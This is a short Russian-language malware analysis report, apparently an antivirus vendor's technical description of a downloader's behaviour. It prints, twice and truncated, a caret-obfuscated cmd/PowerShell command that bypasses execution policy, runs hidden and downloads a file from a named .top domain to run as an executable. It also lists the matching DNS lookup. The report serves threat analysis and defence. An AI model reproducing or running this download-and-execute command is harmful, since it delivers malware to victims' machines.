Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Po^W^er^s^H^E^L^L.E^x^e -^execU^T^i^O^nP^olI^CY ^By^Pa^s^S -nO^PrOf^i^l^e -wiN^Do^WstyL^E hiD^den^ ^(NEW^-o^b^jE^Ct^ ^SYS^Tem.^nET^.^WeBcLIeN^T)^.dOWn^l^OAD^fIle(^'http://www.zoerpol...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Po^W^er^s^H^E^L^L.E^x^e -^execU^T^i^O^nP^olI^CY ^By^Pa^s^S -nO^PrOf^i^l^e -wiN^Do^WstyL^E hiD^den^ ^(NEW^-o^b^jE^Ct^ ^SYS^Tem.^nET^.^WeBcLIeN^T)^.dOWn^l^OAD^fIle(^'http://www.zoerpol...' (со скрытым окном)
